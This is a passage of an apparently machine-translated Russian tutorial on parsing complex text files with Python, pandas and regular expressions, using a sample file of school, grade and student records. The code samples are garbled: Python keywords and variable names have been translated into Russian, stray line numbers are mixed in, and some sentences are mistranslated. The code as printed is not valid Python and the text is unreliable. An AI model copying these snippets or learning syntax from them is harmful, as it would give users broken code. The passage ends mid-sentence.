Если Π²Ρ‹ Π°Π½Π°Π»ΠΈΡ‚ΠΈΠΊ Π΄Π°Π½Π½Ρ‹Ρ… Python, Ρ‚ΠΎ, скорСС всСго, Π²Ρ‹ Π·Π½Π°ΠΊΠΎΠΌΡ‹ с pandas. Π­Ρ‚ΠΎ ΠΏΠ°ΠΊΠ΅Ρ‚ Python, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдоставляСт класс DataFrame ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ для Π±Π΅Π·ΡƒΠΌΠ½ΠΎ ΠΌΠΎΡ‰Π½ΠΎΠ³ΠΎ Π°Π½Π°Π»ΠΈΠ·Π° Π΄Π°Π½Π½Ρ‹Ρ… с ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΌΠΈ усилиями. Π­Ρ‚ΠΎ абстракция ΠΏΠΎΠ²Π΅Ρ€Ρ… Numpy, которая прСдоставляСт ΠΌΠ½ΠΎΠ³ΠΎΠΌΠ΅Ρ€Π½Ρ‹Π΅ массивы, ΠΏΠΎΡ…ΠΎΠΆΠΈΠ΅ Π½Π° Matlab. DataFrame — это 2D-массив, Π½ΠΎ ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ нСсколько индСксов строк ΠΈ столбцов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ pandas Π½Π°Π·Ρ‹Π²Π°Π΅Ρ‚ MultiIndex , Ρ‡Ρ‚ΠΎ ΠΏΠΎ сути позволяСт Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎΠΌΠ΅Ρ€Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅. ΠžΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ Π² стилС SQL ΠΈΠ»ΠΈ Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π»Π΅Π³ΠΊΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Ρ‹ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ pandas (сравнСниС с SQL). Pandas Ρ‚Π°ΠΊΠΆΠ΅ поставляСтся с Π½Π°Π±ΠΎΡ€ΠΎΠΌ инструмСнтов Π²Π²ΠΎΠ΄Π°-Π²Ρ‹Π²ΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с CSV, MS Excel, JSON, HDF5 ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°ΠΌΠΈ Π΄Π°Π½Π½Ρ‹Ρ….

Π₯отя ΠΌΡ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ Π±Ρ‹ ΡΡ‡ΠΈΡ‚Ρ‹Π²Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ Π² ΠΌΠ½ΠΎΠ³ΠΎΡ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΡƒΡŽ структуру Π΄Π°Π½Π½Ρ‹Ρ…, Ρ‚Π°ΠΊΡƒΡŽ ​​как pandas DataFrame , Π±Ρ‹Π»ΠΎ Π±Ρ‹ ΠΎΡ‡Π΅Π½ΡŒ нСэффСктивно ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ пустой DataFrame ΠΈ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ Π·Π°ΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ Π² Π½Π΅Π³ΠΎ Π΄Π°Π½Π½Ρ‹Π΅. DataFrame — это слоТная структура Π΄Π°Π½Π½Ρ‹Ρ…, ΠΈ запись Ρ‡Π΅Π³ΠΎ-Π»ΠΈΠ±ΠΎ Π² DataFrame элСмСнт Π·Π° элСмСнтом Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ Π±ΠΎΠ»ΡŒΡˆΠΈΡ… Π²Ρ‹Ρ‡ΠΈΡΠ»ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… рСсурсов. Намного быстрСС Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ Π² ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Π½ΠΎΠΌ Ρ‚ΠΈΠΏΠ΅ Π΄Π°Π½Π½Ρ‹Ρ…, Ρ‚Π°ΠΊΠΎΠΌ ΠΊΠ°ΠΊ список ΠΈΠ»ΠΈ dict . ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ список ΠΈΠ»ΠΈ dict создан, pandas позволяСт Π½Π°ΠΌ Π»Π΅Π³ΠΊΠΎ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π² DataFrame , ΠΊΠ°ΠΊ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ ΠΏΠΎΠ·ΠΆΠ΅. На ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ Π½ΠΈΠΆΠ΅ ΠΏΠΎΠΊΠ°Π·Π°Π½ стандартный процСсс Π°Π½Π°Π»ΠΈΠ·Π° любого Ρ„Π°ΠΉΠ»Π°.

Если ваши Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ стандартный ΠΈΠ»ΠΈ достаточно Π±Π»ΠΈΠ·ΠΊΠΈΠΉ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚, Ρ‚ΠΎ, вСроятно, сущСствуСт ΡƒΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΠ°ΠΊΠ΅Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для чтСния Π²Π°ΡˆΠΈΡ… Π΄Π°Π½Π½Ρ‹Ρ… с ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΌΠΈ усилиями.

НапримСр, Ρƒ нас Π΅ΡΡ‚ΡŒ Ρ„Π°ΠΉΠ» CSV, data.txt:

.

  Π°, Π±, Π²
1,2,3
4,5,6
7,8,9
  

Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π»Π΅Π³ΠΊΠΎ ΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒΡΡ с этим с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ pandas.

  123  
  ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠ°Π½Π΄ ΠΊΠ°ΠΊ pd
df = pd.read_csv ('Π΄Π°Π½Π½Ρ‹Π΅.txt')
df  
  Π° Π± Π²
0 1 2 3
1 4 5 6
2 7 8 9
  

Python нСвСроятСн, ΠΊΠΎΠ³Π΄Π° Π΄Π΅Π»ΠΎ касаСтся строк. Π‘Ρ‚ΠΎΠΈΡ‚ ΡƒΡΠ²ΠΎΠΈΡ‚ΡŒ всС стандартныС строковыС ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ.ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ эти ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ для извлСчСния Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ· строки, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ Π² простом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅.

  1 2 3 4 5 6 7 8 

121314151617181

  
  my_string = 'ИмСна: Π ΠΎΠΌΠ΅ΠΎ, Π”ΠΆΡƒΠ»ΡŒΠ΅Ρ‚Ρ‚Π°'

# Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚ΡŒ строку Π½Π° ':'
step_0 = my_string.split (':')

# ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ кусок списка
step_1 = step_0 [1]

# Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚ΡŒ строку Π½Π° ','
step_2 = step_1.split (',')

# удаляСм ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹ Π² Π½Π°Ρ‡Π°Π»Π΅ ΠΈ ΠΊΠΎΠ½Ρ†Π΅ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ элСмСнта списка
step_3 = [имя.strip () для имСни на шагС_2]

# выполняСм всС пСрСчислСнныС Π²Ρ‹ΡˆΠ΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ Π·Π° ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π·
one_go = [name.strip () для имСни в my_string.split (':') [1] .split (',')]

для idx, элСмСнт Π² пСрСчислСнии ([step_0, step_1, step_2, step_3]):
    print ("Π¨Π°Π³ {}: {}". format (idx, item))

print ("ΠžΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Π·Π° ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π·: {}". format (one_go))  
  Π¨Π°Π³ 0: [«ИмСна», Β«Π ΠΎΠΌΠ΅ΠΎ, Π”ΠΆΡƒΠ»ΡŒΠ΅Ρ‚Ρ‚Π°Β»]
Π¨Π°Π³ 1: Π ΠΎΠΌΠ΅ΠΎ, Π”ΠΆΡƒΠ»ΡŒΠ΅Ρ‚Ρ‚Π°
Π¨Π°Π³ 2: [Β«Π ΠΎΠΌΠ΅ΠΎΒ», Β«Π”ΠΆΡƒΠ»ΡŒΠ΅Ρ‚Ρ‚Π°Β»]
Π¨Π°Π³ 3: [Β«Π ΠΎΠΌΠ΅ΠΎΒ», Β«Π”ΠΆΡƒΠ»ΡŒΠ΅Ρ‚Ρ‚Π°Β»]
ΠšΠΎΠ½Π΅Ρ‡Π½Ρ‹ΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Π·Π° Ρ€Π°Π·: [Β«Π ΠΎΠΌΠ΅ΠΎΒ», Β«Π”ΠΆΡƒΠ»ΡŒΠ΅Ρ‚Ρ‚Π°Β»]
  

Как Π²Ρ‹ Π²ΠΈΠ΄Π΅Π»ΠΈ Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… Π΄Π²ΡƒΡ… Ρ€Π°Π·Π΄Π΅Π»Π°Ρ…, Ссли ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° синтаксичСского Π°Π½Π°Π»ΠΈΠ·Π° проста, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΎΠ±ΠΎΠΉΡ‚ΠΈΡΡŒ простым использованиСм ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ синтаксичСского Π°Π½Π°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€Π° ΠΈΠ»ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… строковых ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ².Однако Тизнь Π½Π΅ всСгда Ρ‚Π°ΠΊ проста. Как ΠΌΡ‹ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΠΌ ΠΊ синтаксичСскому Π°Π½Π°Π»ΠΈΠ·Ρƒ слоТного тСкстового Ρ„Π°ΠΉΠ»Π°?

Π¨Π°Π³ 1. ΠžΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚Π΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Π²Π²ΠΎΠ΄Π°

  123  
  с ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΌ ('sample.txt') Π² Π²ΠΈΠ΄Π΅ Ρ„Π°ΠΉΠ»Π°:
    file_contents = file.read ()
    ΠΏΠ΅Ρ‡Π°Ρ‚ΡŒ (file_contents)  
  ΠŸΡ€ΠΈΠΌΠ΅Ρ€ тСкста

Π’ Π²ΠΈΠΊΡ‚ΠΎΡ€ΠΈΠ½Π΅ приняли участиС Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ студСнты ΠΈΠ· Π ΠΈΠ²Π΅Ρ€Π΄Π΅ΠΉΠ» Π₯Π°ΠΉ ΠΈ Π₯огвартс.
НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Ρ‹ ΠΈΡ… Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹.

Π¨ΠΊΠΎΠ»Π° = БрСдняя школа Π ΠΈΠ²Π΅Ρ€Π΄Π΅ΠΉΠ»Π°
ΠžΡ†Π΅Π½ΠΊΠ° = 1
НомСр студСнта, Имя
0, Π€ΠΈΠ±ΠΈ
1, РэйчСл

НомСр ΡƒΡ‡Π΅Π½ΠΈΠΊΠ°, ΠžΡ†Π΅Π½ΠΊΠ°
0, 3
1, 7

ΠžΡ†Π΅Π½ΠΊΠ° = 2
НомСр студСнта, Имя
0, АнТСла
1, Вристан
2, Аврора

НомСр ΡƒΡ‡Π΅Π½ΠΈΠΊΠ°, ΠžΡ†Π΅Π½ΠΊΠ°
0, 6
1, 3
2, 9

Π¨ΠΊΠΎΠ»Π° = Π₯огвартс
ΠžΡ†Π΅Π½ΠΊΠ° = 1
НомСр студСнта, Имя
0, Π”ΠΆΠΈΠ½Π½ΠΈ
1, Π›ΡƒΠ½Π°

НомСр ΡƒΡ‡Π΅Π½ΠΈΠΊΠ°, ΠžΡ†Π΅Π½ΠΊΠ°
0, 8
1, 7

ΠžΡ†Π΅Π½ΠΊΠ° = 2
НомСр студСнта, Имя
0, Π“Π°Ρ€Ρ€ΠΈ
1, Π“Π΅Ρ€ΠΌΠΈΠΎΠ½Π°

НомСр ΡƒΡ‡Π΅Π½ΠΈΠΊΠ°, ΠžΡ†Π΅Π½ΠΊΠ°
0, 5
1, 10

ΠžΡ†Π΅Π½ΠΊΠ° = 3
НомСр студСнта, Имя
0, Π€Ρ€Π΅Π΄
1, Π“Π΅ΠΎΡ€Π³ΠΈΠΉ

НомСр ΡƒΡ‡Π΅Π½ΠΈΠΊΠ°, ΠžΡ†Π΅Π½ΠΊΠ°
0, 0
1, 0
  

Π­Ρ‚ΠΎ довольно слоТный Π²Ρ…ΠΎΠ΄Π½ΠΎΠΉ Ρ„Π°ΠΉΠ»! Π£Ρ„! Π”Π°Π½Π½Ρ‹Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ½ содСрТит, довольно просты, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ Π½ΠΈΠΆΠ΅:

  Имя ΠžΡ†Π΅Π½ΠΊΠ°
НомСр школьного класса
Π₯огвартс 1 0 Π”ΠΆΠΈΠ½Π½ΠΈ 8
                     1 Π›ΡƒΠ½Π° 7
               2 0 Π“Π°Ρ€Ρ€ΠΈ 5
                     1 Π“Π΅Ρ€ΠΌΠΈΠΎΠ½Π° 10
               3 0 Π€Ρ€Π΅Π΄ 0
                     1 Π“Π΅ΠΎΡ€Π³ΠΈΠΉ 0
Π ΠΈΠ²Π΅Ρ€Π΄Π΅ΠΉΠ» Π₯Π°ΠΉ 1 0 Π€ΠΈΠ±ΠΈ 3
                     1 РэйчСл 7
               2 0 АндТСла 6
                     1 Вристан 3
                     2 Аврора 9
  

ΠžΠ±Ρ€Π°Π·Π΅Ρ† тСкста ΠΏΠΎΡ…ΠΎΠΆ Π½Π° CSV Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π² Π½Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ запятыС для раздСлСния Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ.Π’Π²Π΅Ρ€Ρ…Ρƒ Ρ„Π°ΠΉΠ»Π° Π΅ΡΡ‚ΡŒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Π΅. Π•ΡΡ‚ΡŒ ΠΏΡΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…: школа, ΠΎΡ†Π΅Π½ΠΊΠ°, Π½ΠΎΠΌΠ΅Ρ€ ΡƒΡ‡Π΅Π½ΠΈΠΊΠ°, имя ΠΈ ΠΎΡ†Π΅Π½ΠΊΠ°. ΠšΠ»ΡŽΡ‡Π΅Π²Ρ‹ΠΌΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ школа, класс ΠΈ Π½ΠΎΠΌΠ΅Ρ€ ΡƒΡ‡Π΅Π½ΠΈΠΊΠ°. Имя ΠΈ ΠžΡ†Π΅Π½ΠΊΠ° - это поля. Для Π΄Π°Π½Π½ΠΎΠΉ ΡˆΠΊΠΎΠ»Ρ‹, класса ΠΈ Π½ΠΎΠΌΠ΅Ρ€Π° ΡƒΡ‡Π΅Π½ΠΈΠΊΠ° Π΅ΡΡ‚ΡŒ имя ΠΈ ΠΎΡ†Π΅Π½ΠΊΠ°. Π”Ρ€ΡƒΠ³ΠΈΠΌΠΈ словами, школа, класс ΠΈ Π½ΠΎΠΌΠ΅Ρ€ учащСгося вмСстС ΠΎΠ±Ρ€Π°Π·ΡƒΡŽΡ‚ составной ΠΊΠ»ΡŽΡ‡.

Π”Π°Π½Π½Ρ‹Π΅ прСдставлСны Π² иСрархичСском Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅. Π‘Π½Π°Ρ‡Π°Π»Π° ΠΎΠ±ΡŠΡΠ²Π»ΡΠ΅Ρ‚ΡΡ школа, Π·Π°Ρ‚Π΅ΠΌ ΠΎΡ†Π΅Π½ΠΊΠ°. Π”Π°Π»Π΅Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ Π΄Π²Π΅ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΡƒΠΊΠ°Π·Π°Π½Ρ‹ имя ΠΈ ΠΎΡ†Π΅Π½ΠΊΠ° для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π½ΠΎΠΌΠ΅Ρ€Π° учащСгося.Π—Π°Ρ‚Π΅ΠΌ ΠΎΡ†Π΅Π½ΠΊΠ° увСличиваСтся. Π”Π°Π»Π΅Π΅ слСдуСт Π΅Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ Π½Π°Π±ΠΎΡ€ Ρ‚Π°Π±Π»ΠΈΡ†. Π—Π°Ρ‚Π΅ΠΌ ΠΎΠ±Ρ€Π°Π·Π΅Ρ† повторяСтся для Π΄Ρ€ΡƒΠ³ΠΎΠΉ Π¨ΠΊΠΎΠ»Ρ‹. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ количСство ΡƒΡ‡Π΅Π½ΠΈΠΊΠΎΠ² Π² классС ΠΈΠ»ΠΈ количСство классов Π² школС нСпостоянны, Ρ‡Ρ‚ΠΎ добавляСт Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ слоТности ΠΊ Ρ„Π°ΠΉΠ»Ρƒ. Π­Ρ‚ΠΎ всСго лишь нСбольшой Π½Π°Π±ΠΎΡ€ Π΄Π°Π½Π½Ρ‹Ρ…. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π»Π΅Π³ΠΊΠΎ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ это ΠΎΠ³Ρ€ΠΎΠΌΠ½Ρ‹ΠΉ Ρ„Π°ΠΉΠ» с мноТСством школ, ΠΎΡ†Π΅Π½ΠΎΠΊ ΠΈ студСнтов.

Π‘Π°ΠΌΠΎ собой разумССтся, Ρ‡Ρ‚ΠΎ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΡΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠ»ΠΎΡ…ΠΎΠΉ. Π― сдСлал это ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ. Если Π²Ρ‹ ΠΏΠΎΠΉΠΌΠ΅Ρ‚Π΅, ΠΊΠ°ΠΊ с этим ΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒΡΡ, Π²Π°ΠΌ Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΡ‰Π΅ ΠΎΡΠ²ΠΎΠΈΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ простыС Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρ‹.НСт Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠ³ΠΎ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²ΡΡ‚Ρ€Π΅Ρ‚ΠΈΡ‚ΡŒ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹, Ссли приходится ΠΈΠΌΠ΅Ρ‚ΡŒ Π΄Π΅Π»ΠΎ с большим количСством ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΡ… систСм. Π’ ΠΏΡ€ΠΎΡˆΠ»ΠΎΠΌ, ΠΊΠΎΠ³Π΄Π° эти систСмы Ρ€Π°Π·Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π»ΠΈΡΡŒ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π½Π΅ Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π»ΠΎΡΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹Ρ…ΠΎΠ΄Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ Π±Ρ‹Π»ΠΈ ΠΌΠ°ΡˆΠΈΠ½ΠΎΡ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹ΠΌΠΈ. Однако Π² настоящСС врСмя всС Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ ΠΌΠ°ΡˆΠΈΠ½ΠΎΡ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹ΠΌ!

Π¨Π°Π³ 2: Π˜ΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠΉΡ‚Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ ΠΏΠ°ΠΊΠ΅Ρ‚Ρ‹

Нам понадобится ΠΌΠΎΠ΄ΡƒΠ»ΡŒ рСгулярных Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΈ ΠΏΠ°ΠΊΠ΅Ρ‚ pandas. Π˜Ρ‚Π°ΠΊ, Π΄Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΠΌ ΠΈ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌ ΠΈΡ….

  12  
  ΠΈΠΌΠΏΠΎΡ€Ρ‚ Ρ€Π΅
ΠΈΠΌΠΏΠΎΡ€Ρ‚ ΠΏΠ°Π½Π΄ ΠΊΠ°ΠΊ pd  

Π¨Π°Π³ 3. ΠžΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚Π΅ рСгулярныС выраТСния

На послСднСм этапС ΠΌΡ‹ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π»ΠΈ re, ΠΌΠΎΠ΄ΡƒΠ»ΡŒ рСгулярных Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ.Π§Ρ‚ΠΎ это Ρ‚Π°ΠΊΠΎΠ΅?

Π˜Ρ‚Π°ΠΊ, Ρ€Π°Π½Π΅Π΅ ΠΌΡ‹ Π²ΠΈΠ΄Π΅Π»ΠΈ, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ строковыС ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ для извлСчСния Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ· тСкста. Однако ΠΏΡ€ΠΈ синтаксичСском Π°Π½Π°Π»ΠΈΠ·Π΅ слоТных Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡΡ‚ΠΎΠ»ΠΊΠ½ΡƒΡ‚ΡŒΡΡ с большим количСством ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ ΠΏΠΎ ΡƒΠ΄Π°Π»Π΅Π½ΠΈΡŽ, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½ΠΈΡŽ, Π½Π°Ρ€Π΅Π·ΠΊΠ΅ ΠΈ Ρ‚ΠΎΠΌΡƒ ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠΌΡƒ, ΠΈ ΠΊΠΎΠ΄ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ довольно Π½Π΅Ρ‡ΠΈΡ‚Π°Π±Π΅Π»ΡŒΠ½Ρ‹ΠΌ. ИмСнно здСсь Π½Π° ΠΏΠΎΠΌΠΎΡ‰ΡŒ приходят рСгулярныС выраТСния. По сути, это ΠΊΡ€ΠΎΡˆΠ΅Ρ‡Π½Ρ‹ΠΉ язык, встроСнный Π² Python, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт Π²Π°ΠΌ ΡΠΊΠ°Π·Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊΠΎΠΉ строковый шаблон Π²Ρ‹ ΠΈΡ‰Π΅Ρ‚Π΅. ΠœΠ΅ΠΆΠ΄Ρƒ ΠΏΡ€ΠΎΡ‡ΠΈΠΌ, ΠΎΠ½ Π½Π΅ ΡƒΠ½ΠΈΠΊΠ°Π»Π΅Π½ для Python (Π΄ΠΎΠΌΠΈΠΊ Π½Π° Π΄Π΅Ρ€Π΅Π²Π΅).

Π’Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ мастСром рСгулярных Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ.Однако Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Π°Π·ΠΎΠ²Ρ‹Π΅ знания рСгулярных Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ Π² вашСй ΠΊΠ°Ρ€ΡŒΠ΅Ρ€Π΅ программиста. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ я Π½Π°ΡƒΡ‡Ρƒ вас Ρ‚ΠΎΠ»ΡŒΠΊΠΎ самым основам, Π½ΠΎ я ΠΏΡ€ΠΈΠ·Ρ‹Π²Π°ΡŽ вас ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠ΅. Π― Ρ‚Π°ΠΊΠΆΠ΅ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΡŽ regexper для Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ рСгулярных Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ. regex101 - Π΅Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ 